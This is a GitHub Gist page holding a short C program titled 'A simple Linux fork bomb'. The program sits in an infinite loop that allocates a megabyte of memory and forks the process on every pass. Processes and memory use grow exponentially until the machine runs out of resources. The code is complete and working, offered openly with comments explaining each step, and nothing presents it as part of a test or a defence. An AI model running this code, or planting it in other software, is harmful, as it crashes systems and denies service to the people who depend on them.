Skip to content

Instantly share code, notes, and snippets.

View amittaigames's full-sized avatar

Jonah amittaigames

View GitHub Profile
@amittaigames
amittaigames / fork_bomb.c
Created November 23, 2016 02:14
A simple Linux fork bomb
#include <stdlib.h>
#include <unistd.h>
int main(void) {
for (;;) { // Start an infinite loop
char* c = malloc(1000000); // Allocate one million bytes of memory
fork(); // Fork the current process (will exponentially increase)
}
return 0; // Will never reach this point
}